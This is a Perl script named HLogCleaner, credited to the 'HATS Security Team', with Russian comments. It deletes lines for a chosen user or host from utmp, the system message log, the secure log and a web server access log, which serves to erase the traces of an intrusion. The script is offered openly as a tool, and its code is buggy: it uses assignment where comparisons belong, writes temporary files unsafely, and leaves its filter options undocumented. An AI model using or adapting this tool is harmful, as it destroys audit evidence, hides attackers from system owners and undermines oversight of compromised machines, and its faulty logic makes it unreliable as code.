#!/usr/bin/perl
# ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
# ' HATS Security Team
http://security.nitro.ru '
# ' '
# ' HLogCleaner [hlogcleaner_0.1_pub.rar] '
# ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
# ' [v 0.1 public] '
# ' '
# ' Copyright © 2005-2006 Dmitri Gavrilov '
# ' '
# ' Released under the terms & conditions of v2 of the GNU General '
# ' Public License. For details refer visit
http://gnu.org '
# ' '
# ' [version 0.1] >> Первый релиз '
# ' '
# ' <info> '
# ' Программа для очистки бинарных и текстовых лог-файлов '
# ' '
# ' Coded by GeW [zionix@mail.ru] '
# ' Greets to all HATS Security Team members '
# ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
use Getopt::Std;
use Socket;
if (@ARGV < 1) { &help; }
getopt("uh");
if ($ARGV[0] = "1")
{
print "\n[ start cleaning ]\n";
binary("/var/run/utmp");
print "[ stop cleaning ]\n";
}
if ($ARGV[0] = "2")
{
print "\n[ start cleaning ]\n";
ascii("/var/log/messages");
print "[ stop cleaning ]\n";
}
if ($ARGV[0] = "3")
{
print "\n[ start cleaning ]\n";
ascii("/var/log/secure");
print "[ stop cleaning ]\n";
}
if ($ARGV[0] = "4")
{
print "\n[ start cleaning ]\n";
ascii("/usr/local/www/logs/access_log");
print "[ stop cleaning ]\n";
}
if ($ARGV[0] = "5")
{
print "\n[ start cleaning ]\n";
binary("/var/run/utmp");
ascii("/var/log/messages");
ascii("/var/log/secure");
ascii("/usr/local/www/logs/access_log");
print "[ stop cleaning ]\n";
}
sub binary
{
use User::Utmp qw(utmpname getut putut);
$file = shift;
utmpname($file);
@utmp = getut();
open(TMP,">/tmp/.tmp");
close(TMP);
utmpname("/tmp/.tmp");
foreach $entry (@utmp)
{
putut($entry)
if ($entry->{"ut_user"} ne $opt_u && $entry->{"ut_host"} ne $opt_h);
}
system("mv /tmp/.tmp $file");
return 1;
}
sub ascii
{
$file = shift;
open(READ,"$file");
open(WRITE,">/tmp/.tmp");
while(<READ>)
{
print WRITE $_
if ($_!~/$opt_h/);
}
system("mv /tmp/.tmp $file");
}
sub help
{
print "\n";
print (<<"end");
================================================== =================
HATS Log Cleaner [version 0.1 public]
Coded by GeW [zionix@mail.ru]
Greets to all HATS Security Team members
usage: perl hlogcleaner.pl <cleaning type>
types: 1 - /var/run/utmp [binary]
2 - /var/log/messages [ascii]
3 - /var/log/secure [ascii]
4 - /usr/local/www/logs/access_log [ascii]
5 - all cleaning types
example: perl hlogcleaner.pl 5
================================================== =================
end
exit();
}
=======================
много багов, но работа над ним кипит=)